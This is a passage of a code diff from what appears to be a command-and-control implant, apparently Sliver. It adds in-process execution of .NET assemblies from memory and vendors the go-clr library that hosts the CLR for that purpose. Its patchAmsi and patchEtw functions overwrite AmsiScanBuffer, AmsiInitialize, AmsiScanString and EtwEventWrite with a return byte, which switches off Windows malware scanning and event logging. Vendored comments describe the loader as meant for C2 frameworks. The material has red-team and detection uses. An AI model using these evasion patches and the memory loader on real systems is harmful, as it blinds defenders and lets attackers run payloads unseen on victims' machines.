+	rtHost := clrInstance.GetRuntimeHost(runtime)
+	if rtHost == nil {
+		return "", errors.New("Could not load CLR runtime host")
+	}
+
+	if asm := getAssembly(data); asm != nil {
+		methodInfo = asm.methodInfo
+	} else {
+		methodInfo, err = clr.LoadAssembly(rtHost, data)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("could not load assembly: %v\n", err)
+			// {{end}}
+			return "", err
+		}
+		addAssembly(methodInfo, data)
+	}
+	if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
+		// for methods like Main(String[] args), if we pass an empty string slice
+		// the clr loader will not pass the argument and look for a method with
+		// no arguments, which won't work
+		assemblyArgs = []string{" "}
+	}
+	// {{if .Config.Debug}}
+	log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
+	log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
+	// {{end}}
+	stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
+	// {{if .Config.Debug}}
+	log.Printf("Got output: %s\n%s\n", stdout, stderr)
+	// {{end}}
+	return fmt.Sprintf("%s\n%s", stdout, stderr), nil
+}
+
+func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
+	asmHash := sha256.Sum256(data)
+	asm := &assembly{methodInfo: methodInfo, hash: asmHash}
+	assemblies = append(assemblies, asm)
+}
+
+func getAssembly(data []byte) *assembly {
+	asmHash := sha256.Sum256(data)
+	for _, asm := range assemblies {
+		if asm.hash == asmHash {
+			return asm
+		}
+	}
+	return nil
+}
+
+func init() {
+	clrInstance = &CLRInstance{}
+	assemblies = make([]*assembly, 0)
+}

implant/sliver/taskrunner/task_windows.go

@@ -200,6 +200,96 @@ func LocalTask(data []byte, rwxPages bool) error {
 	return err
 }
 
+func patchAmsi() error {
+	// load amsi.dll
+	amsiDLL := windows.NewLazyDLL("amsi.dll")
+	amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer")
+	amsiInitialize := amsiDLL.NewProc("AmsiInitialize")
+	amsiScanString := amsiDLL.NewProc("AmsiScanString")
+
+	// patch
+	amsiAddr := []uintptr{
+		amsiScanBuffer.Addr(),
+		amsiInitialize.Addr(),
+		amsiScanString.Addr(),
+	}
+	patch := byte(0xC3)
+	for _, addr := range amsiAddr {
+		// skip if already patched
+		if *(*byte)(unsafe.Pointer(addr)) != patch {
+			// {{if .Config.Debug}}
+			log.Println("Patching AMSI")
+			// {{end}}
+			var oldProtect uint32
+			err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect)
+			if err != nil {
+				//{{if .Config.Debug}}
+				log.Println("VirtualProtect failed:", err)
+				//{{end}}
+				return err
+			}
+			*(*byte)(unsafe.Pointer(addr)) = 0xC3
+			err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect)
+			if err != nil {
+				//{{if .Config.Debug}}
+				log.Println("VirtualProtect (restauring) failed:", err)
+				//{{end}}
+				return err
+			}
+		}
+	}
+	return nil
+}
+
+func patchEtw() error {
+	ntdll := windows.NewLazyDLL("ntdll.dll")
+	etwEventWriteProc := ntdll.NewProc("EtwEventWrite")
+
+	// patch
+	patch := byte(0xC3)
+	// skip if already patched
+	if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch {
+		// {{if .Config.Debug}}
+		log.Println("Patching ETW")
+		// {{end}}
+		var oldProtect uint32
+		err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect)
+		if err != nil {
+			//{{if .Config.Debug}}
+			log.Println("VirtualProtect failed:", err)
+			//{{end}}
+			return err
+		}
+		*(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3
+		err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect)
+		if err != nil {
+			//{{if .Config.Debug}}
+			log.Println("VirtualProtect (restauring) failed:", err)
+			//{{end}}
+			return err
+		}
+	}
+	return nil
+}
+
+func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) {
+	if amsiBypass {
+		err := patchAmsi()
+		if err != nil {
+			return "", err
+		}
+	}
+
+	if etwBypass {
+		err := patchEtw()
+		if err != nil {
+			return "", err
+		}
+	}
+
+	return LoadAssembly(assemblyBytes, assemblyArgs, runtime)
+}
+
 func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
 	var (
 		stdoutBuf, stderrBuf bytes.Buffer

implant/vendor/github.com/Ne0nd0g/go-clr/.gitignore

@@ -0,0 +1,7 @@
+.idea
+__handlers__
+*.exe
+*.dll
+*.cs
+scratch/
+static/

implant/vendor/github.com/Ne0nd0g/go-clr/LICENSE

@@ -0,0 +1,13 @@
+            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+                    Version 2, December 2004
+
+ Copyright (C) 2004 Sam Hocevar <[email protected]>
+
+ Everyone is permitted to copy and distribute verbatim or modified
+ copies of this license document, and changing it is allowed as long
+ as the name is changed.
+
+            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. You just DO WHAT THE FUCK YOU WANT TO.

implant/vendor/github.com/Ne0nd0g/go-clr/README.md

@@ -0,0 +1,69 @@
+# go-clr
+[![GoDoc](https://godoc.org/github.com/ropnop/go-clr?status.svg)](https://godoc.org/github.com/ropnop/go-clr)
+
+This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
+
+It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to 
+load structs from memory.
+
+For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
+
+This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use 
+of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
+but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
+
+## Installation and Usage
+`go-clr` is intended to be used as a package in other scripts. Install it with:
+```bash
+go get github.com/ropnop/go-clr
+```
+
+Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
+necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
+`ExecuteByteArray`. Here's a quick example of using both:
+
+```go
+package main
+
+import (
+	clr "github.com/ropnop/go-clr"
+	"log"
+	"fmt"
+	"io/ioutil"
+	"runtime"
+)
+
+func main() {
+	fmt.Println("[+] Loading DLL from Disk")
+	ret, err := clr.ExecuteDLLFromDisk(
+		"TestDLL.dll",
+		"TestDLL.HelloWorld",
+		"SayHello",
+		"foobar")
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Printf("[+] DLL Return Code: %d\n", ret)
+
+	
+	fmt.Println("[+] Executing EXE from memory")
+	exebytes, err := ioutil.ReadFile("helloworld.exe")
+	if err != nil {
+		log.Fatal(err)
+	}
+	runtime.KeepAlive(exebytes)
+
+	ret2, err := clr.ExecuteByteArray(exebytes)
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Printf("[+] EXE Return Code: %d\n", ret2)
+}
+``` 
+
+The other 2 examples show the same technique but without the magic functions.
+
+### License
+This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
+chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
+some organizations forbid this license from being used in products (which is a good thing).

implant/vendor/github.com/Ne0nd0g/go-clr/appdomain.go

@@ -0,0 +1,212 @@
+//go:build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
+// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
+// This structure only contains a pointer to the AppDomain's virtual function table
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
+type AppDomain struct {
+	vtbl *AppDomainVtbl
+}
+
+// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
+// The Virtual Function Table contains pointers to the COM IUnkown interface
+// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
+type AppDomainVtbl struct {
+	QueryInterface            uintptr
+	AddRef                    uintptr
+	Release                   uintptr
+	GetTypeInfoCount          uintptr
+	GetTypeInfo               uintptr
+	GetIDsOfNames             uintptr
+	Invoke                    uintptr
+	get_ToString              uintptr
+	Equals                    uintptr
+	GetHashCode               uintptr
+	GetType                   uintptr
+	InitializeLifetimeService uintptr
+	GetLifetimeService        uintptr
+	get_Evidence              uintptr
+	add_DomainUnload          uintptr
+	remove_DomainUnload       uintptr
+	add_AssemblyLoad          uintptr
+	remove_AssemblyLoad       uintptr
+	add_ProcessExit           uintptr
+	remove_ProcessExit        uintptr
+	add_TypeResolve           uintptr
+	remove_TypeResolve        uintptr
+	add_ResourceResolve       uintptr
+	remove_ResourceResolve    uintptr
+	add_AssemblyResolve       uintptr
+	remove_AssemblyResolve    uintptr
+	add_UnhandledException    uintptr
+	remove_UnhandledException uintptr
+	DefineDynamicAssembly     uintptr
+	DefineDynamicAssembly_2   uintptr
+	DefineDynamicAssembly_3   uintptr
+	DefineDynamicAssembly_4   uintptr
+	DefineDynamicAssembly_5   uintptr
+	DefineDynamicAssembly_6   uintptr
+	DefineDynamicAssembly_7   uintptr
+	DefineDynamicAssembly_8   uintptr
+	DefineDynamicAssembly_9   uintptr
+	CreateInstance            uintptr
+	CreateInstanceFrom        uintptr
+	CreateInstance_2          uintptr
+	CreateInstanceFrom_2      uintptr
+	CreateInstance_3          uintptr
+	CreateInstanceFrom_3      uintptr
+	Load                      uintptr
+	Load_2                    uintptr
+	Load_3                    uintptr
+	Load_4                    uintptr
+	Load_5                    uintptr
+	Load_6                    uintptr
+	Load_7                    uintptr
+	ExecuteAssembly           uintptr
+	ExecuteAssembly_2         uintptr
+	ExecuteAssembly_3         uintptr
+	get_FriendlyName          uintptr
+	get_BaseDirectory         uintptr
+	get_RelativeSearchPath    uintptr
+	get_ShadowCopyFiles       uintptr
+	GetAssemblies             uintptr
+	AppendPrivatePath         uintptr
+	ClearPrivatePath          uintptr
+	SetShadowCopyPath         uintptr
+	ClearShadowCopyPath       uintptr
+	SetCachePath              uintptr
+	SetData                   uintptr
+	GetData                   uintptr
+	SetAppDomainPolicy        uintptr
+	SetThreadPrincipal        uintptr
+	SetPrincipalPolicy        uintptr
+	DoCallBack                uintptr
+	get_DynamicDirectory      uintptr
+}
+
+// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
+func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
+	debugPrint("Entering into appdomain.GetAppDomain()...")
+	iu, err := runtimeHost.GetDefaultDomain()
+	if err != nil {
+		return
+	}
+	err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
+	return
+}
+
+func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
+	debugPrint("Entering into appdomain.QueryInterface()...")
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.QueryInterface,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(riid)),
+		uintptr(unsafe.Pointer(ppvObject)))
+	return ret
+}
+
+func (obj *AppDomain) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *AppDomain) Release() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// GetHashCode serves as the default hash function.
+// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
+func (obj *AppDomain) GetHashCode() (int32, error) {
+	debugPrint("Entering into appdomain.GetHashCode()...")
+	ret, _, err := syscall.Syscall(
+		obj.vtbl.GetHashCode,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0,
+	)
+	if err != syscall.Errno(0) {
+		return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
+	}
+	// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
+	return int32(ret), nil
+}
+
+// Load_3 Loads an Assembly into this application domain.
+// virtual HRESULT __stdcall Load_3 (
+// /*[in]*/ SAFEARRAY * rawAssembly,
+// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
+func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
+	debugPrint("Entering into appdomain.Load_3()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.Load_3,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(rawAssembly)),
+		uintptr(unsafe.Pointer(&assembly)),
+	)
+
+	if err != syscall.Errno(0) {
+		if err != syscall.Errno(1150) {
+			return
+		}
+	}
+
+	if hr != S_OK {
+		err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+
+	return
+}
+
+// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
+// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
+func (obj *AppDomain) ToString() (domain string, err error) {
+	debugPrint("Entering into appdomain.ToString()...")
+	var pDomain *string
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.get_ToString,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&pDomain)),
+		0,
+	)
+
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/assembly.go

@@ -0,0 +1,129 @@
+// +build windows
+
+package clr
+
+import (
+	"fmt"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+// from mscorlib.tlh
+
+type Assembly struct {
+	vtbl *AssemblyVtbl
+}
+
+// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
+type AssemblyVtbl struct {
+	QueryInterface              uintptr
+	AddRef                      uintptr
+	Release                     uintptr
+	GetTypeInfoCount            uintptr
+	GetTypeInfo                 uintptr
+	GetIDsOfNames               uintptr
+	Invoke                      uintptr
+	get_ToString                uintptr
+	Equals                      uintptr
+	GetHashCode                 uintptr
+	GetType                     uintptr
+	get_CodeBase                uintptr
+	get_EscapedCodeBase         uintptr
+	GetName                     uintptr
+	GetName_2                   uintptr
+	get_FullName                uintptr
+	get_EntryPoint              uintptr
+	GetType_2                   uintptr
+	GetType_3                   uintptr
+	GetExportedTypes            uintptr
+	GetTypes                    uintptr
+	GetManifestResourceStream   uintptr
+	GetManifestResourceStream_2 uintptr
+	GetFile                     uintptr
+	GetFiles                    uintptr
+	GetFiles_2                  uintptr
+	GetManifestResourceNames    uintptr
+	GetManifestResourceInfo     uintptr
+	get_Location                uintptr
+	get_Evidence                uintptr
+	GetCustomAttributes         uintptr
+	GetCustomAttributes_2       uintptr
+	IsDefined                   uintptr
+	GetObjectData               uintptr
+	add_ModuleResolve           uintptr
+	remove_ModuleResolve        uintptr
+	GetType_4                   uintptr
+	GetSatelliteAssembly        uintptr
+	GetSatelliteAssembly_2      uintptr
+	LoadModule                  uintptr
+	LoadModule_2                uintptr
+	CreateInstance              uintptr
+	CreateInstance_2            uintptr
+	CreateInstance_3            uintptr
+	GetLoadedModules            uintptr
+	GetLoadedModules_2          uintptr
+	GetModules                  uintptr
+	GetModules_2                uintptr
+	GetModule                   uintptr
+	GetReferencedAssemblies     uintptr
+	get_GlobalAssemblyCache     uintptr
+}
+
+func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.QueryInterface,
+		3,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(riid)),
+		uintptr(unsafe.Pointer(ppvObject)))
+	return ret
+}
+
+func (obj *Assembly) AddRef() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.AddRef,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+func (obj *Assembly) Release() uintptr {
+	ret, _, _ := syscall.Syscall(
+		obj.vtbl.Release,
+		1,
+		uintptr(unsafe.Pointer(obj)),
+		0,
+		0)
+	return ret
+}
+
+// GetEntryPoint returns the assembly's MethodInfo
+//      virtual HRESULT __stdcall get_EntryPoint (
+//     /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
+// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
+func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
+	debugPrint("Entering into assembly.GetEntryPoint()...")
+	hr, _, err := syscall.Syscall(
+		obj.vtbl.get_EntryPoint,
+		2,
+		uintptr(unsafe.Pointer(obj)),
+		uintptr(unsafe.Pointer(&pRetVal)),
+		0,
+	)
+	if err != syscall.Errno(0) {
+		err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
+		return
+	}
+	if hr != S_OK {
+		err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
+		return
+	}
+	err = nil
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/go-clr.go

@@ -0,0 +1,367 @@
+// +build windows
+
+// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
+// execute a managed DLL from disk or a managed EXE from memory
+package clr
+
+import (
+	"fmt"
+	"strings"
+	"syscall"
+	"unsafe"
+)
+
+// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
+func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
+	var runtimes []string
+	enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
+	if err != nil {
+		return runtimes, err
+	}
+
+	var hr int
+	for hr != S_FALSE {
+		var runtimeInfo *ICLRRuntimeInfo
+		var fetched = uint32(0)
+		hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
+		if err != nil {
+			return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
+		}
+		if hr == S_FALSE {
+			break
+		}
+		// Only release if an interface pointer was returned
+		runtimeInfo.Release()
+
+		version, err := runtimeInfo.GetVersionString()
+		if err != nil {
+			return runtimes, err
+		}
+		runtimes = append(runtimes, version)
+	}
+	if len(runtimes) == 0 {
+		return runtimes, fmt.Errorf("Could not find any installed runtimes")
+	}
+	return runtimes, err
+}
+
+// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
+// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
+// and Argument to use as strings. It returns the return code from the assembly
+func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
+	retCode = -1
+	if targetRuntime == "" {
+		targetRuntime = "v4"
+	}
+	metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
+	if err != nil {
+		return
+	}
+
+	runtimes, err := GetInstalledRuntimes(metahost)
+	if err != nil {
+		return
+	}
+	var latestRuntime string
+	for _, r := range runtimes {
+		if strings.Contains(r, targetRuntime) {
+			latestRuntime = r
+			break
+		} else {
+			latestRuntime = r
+		}
+	}
+	runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
+	if err != nil {
+		return
+	}
+
+	isLoadable, err := runtimeInfo.IsLoadable()
+	if err != nil {
+		return
+	}
+	if !isLoadable {
+		return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
+	}
+	runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
+	if err != nil {
+		return
+	}
+
+	pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
+	must(err)
+	pTypeName, err := syscall.UTF16PtrFromString(typeName)
+	must(err)
+	pMethodName, err := syscall.UTF16PtrFromString(methodName)
+	must(err)
+	pArgument, err := syscall.UTF16PtrFromString(argument)
+	must(err)
+
+	ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
+	must(err)
+	if *ret != 0 {
+		return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
+	}
+
+	runtimeHost.Release()
+	runtimeInfo.Release()
+	metahost.Release()
+	return 0, nil
+}
+
+// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
+// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
+// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
+// You can supply an array of strings as command line arguments.
+func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
+	retCode = -1
+	if targetRuntime == "" {
+		targetRuntime = "v4"
+	}
+	metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
+	if err != nil {
+		return
+	}
+
+	runtimes, err := GetInstalledRuntimes(metahost)
+	if err != nil {
+		return
+	}
+	var latestRuntime string
+	for _, r := range runtimes {
+		if strings.Contains(r, targetRuntime) {
+			latestRuntime = r
+			break
+		} else {
+			latestRuntime = r
+		}
+	}
+	runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
+	if err != nil {
+		return
+	}
+
+	isLoadable, err := runtimeInfo.IsLoadable()
+	if err != nil {
+		return
+	}
+	if !isLoadable {
+		return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
+	}
+	runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
+	if err != nil {
+		return
+	}
+	appDomain, err := GetAppDomain(runtimeHost)
+	if err != nil {
+		return
+	}
+	safeArrayPtr, err := CreateSafeArray(rawBytes)
+	if err != nil {
+		return
+	}
+
+	assembly, err := appDomain.Load_3(safeArrayPtr)
+	if err != nil {
+		return
+	}
+
+	methodInfo, err := assembly.GetEntryPoint()
+	if err != nil {
+		return
+	}
+
+	var paramSafeArray *SafeArray
+	methodSignature, err := methodInfo.GetString()
+	if err != nil {
+		return
+	}
+
+	if expectsParams(methodSignature) {
+		if paramSafeArray, err = PrepareParameters(params); err != nil {
+			return
+		}
+	}
+
+	nullVariant := Variant{
+		VT:  1,
+		Val: uintptr(0),
+	}
+	err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
+	if err != nil {
+		return
+	}
+	appDomain.Release()
+	runtimeHost.Release()
+	runtimeInfo.Release()
+	metahost.Release()
+	return 0, nil
+}
+
+// LoadCLR loads the target runtime into the current process and returns the runtimehost
+// The intended purpose is for the runtimehost to be reused for subsequent operations
+// throught the duration of the program. Commonly used with C2 frameworks
+func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
+	if targetRuntime == "" {
+		targetRuntime = "v4"
+	}
+
+	metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
+	if err != nil {
+		return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
+	}
+
+	runtimes, err := GetInstalledRuntimes(metahost)
+	debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
+	if err != nil {
+		return
+	}
+	var latestRuntime string
+	for _, r := range runtimes {
+		if strings.Contains(r, targetRuntime) {
+			latestRuntime = r
+			break
+		} else {
+			latestRuntime = r
+		}
+	}
+	runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
+	if err != nil {
+		return
+	}
+
+	isLoadable, err := runtimeInfo.IsLoadable()
+	if err != nil {
+		return
+	}
+	if !isLoadable {
+		err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
+	}
+
+	return GetICORRuntimeHost(runtimeInfo)
+}
+
+// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
+// loads the assembly into, executes the assembly, and then releases AppDomain
+// Intended to be used by C2 frameworks to quickly execute an assembly one time
+func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
+	appDomain, err := GetAppDomain(runtimeHost)
+	if err != nil {
+		stderr = err.Error()
+		return
+	}
+	safeArrayPtr, err := CreateSafeArray(rawBytes)
+	if err != nil {
+		stderr = err.Error()
+		return
+	}
+
+	assembly, err := appDomain.Load_3(safeArrayPtr)
+	if err != nil {
+		stderr = err.Error()
+		return
+	}
+
+	methodInfo, err := assembly.GetEntryPoint()
+	if err != nil {
+		stderr = err.Error()
+		return
+	}
+
+	var paramSafeArray *SafeArray
+	methodSignature, err := methodInfo.GetString()
+	if err != nil {
+		stderr = err.Error()
+		return
+	}
+
+	if expectsParams(methodSignature) {
+		if paramSafeArray, err = PrepareParameters(params); err != nil {
+			stderr = err.Error()
+			return
+		}
+	}
+
+	nullVariant := Variant{
+		VT:  1,
+		Val: uintptr(0),
+	}
+
+	err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
+	if err != nil {
+		stderr = err.Error()
+		return
+	}
+
+	assembly.Release()
+	appDomain.Release()
+	return
+}
+
+// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
+// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
+// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
+func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
+	appDomain, err := GetAppDomain(runtimeHost)
+	if err != nil {
+		return
+	}
+	safeArrayPtr, err := CreateSafeArray(rawBytes)
+	if err != nil {
+		return
+	}
+
+	assembly, err := appDomain.Load_3(safeArrayPtr)
+	if err != nil {
+		return
+	}
+	return assembly.GetEntryPoint()
+}
+
+// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
+// The intended purpose is for the assembly to be executed many times throught the duration of the
+// program. Commonly used with C2 frameworks
+func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
+	var paramSafeArray *SafeArray
+	methodSignature, err := methodInfo.GetString()
+	if err != nil {
+		stderr = err.Error()
+		return
+	}
+
+	if expectsParams(methodSignature) {
+		if paramSafeArray, err = PrepareParameters(params); err != nil {
+			stderr = err.Error()
+			return
+		}
+	}
+
+	nullVariant := Variant{
+		VT:  1,
+		Val: uintptr(0),
+	}
+
+	defer SafeArrayDestroy(paramSafeArray)
+
+	// Ensure exclusive access to read/write STDOUT/STDERR
+	mutex.Lock()
+	defer mutex.Unlock()
+
+	err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
+	if err != nil {
+		stderr = err.Error()
+		// Don't return because there could be data on STDOUT/STDERR
+	}
+
+	// Read data from previously redirected STDOUT/STDERR
+	if wSTDOUT != nil {
+		var e string
+		stdout, e, err = ReadStdoutStderr()
+		stderr += e
+		if err != nil {
+			stderr += err.Error()
+		}
+	}
+
+	return
+}

implant/vendor/github.com/Ne0nd0g/go-clr/guids.go

@@ -0,0 +1,22 @@
+// +build windows
+
+package clr
+
+import (
+	"golang.org/x/sys/windows"
+)
+
+var (
+	CLSID_CLRMetaHost    = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
+	IID_ICLRMetaHost     = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
+	IID_ICLRRuntimeInfo  = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
+	CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
+	IID_ICLRRuntimeHost  = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
+	IID_ICorRuntimeHost  = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
+	CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
+	IID_AppDomain        = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
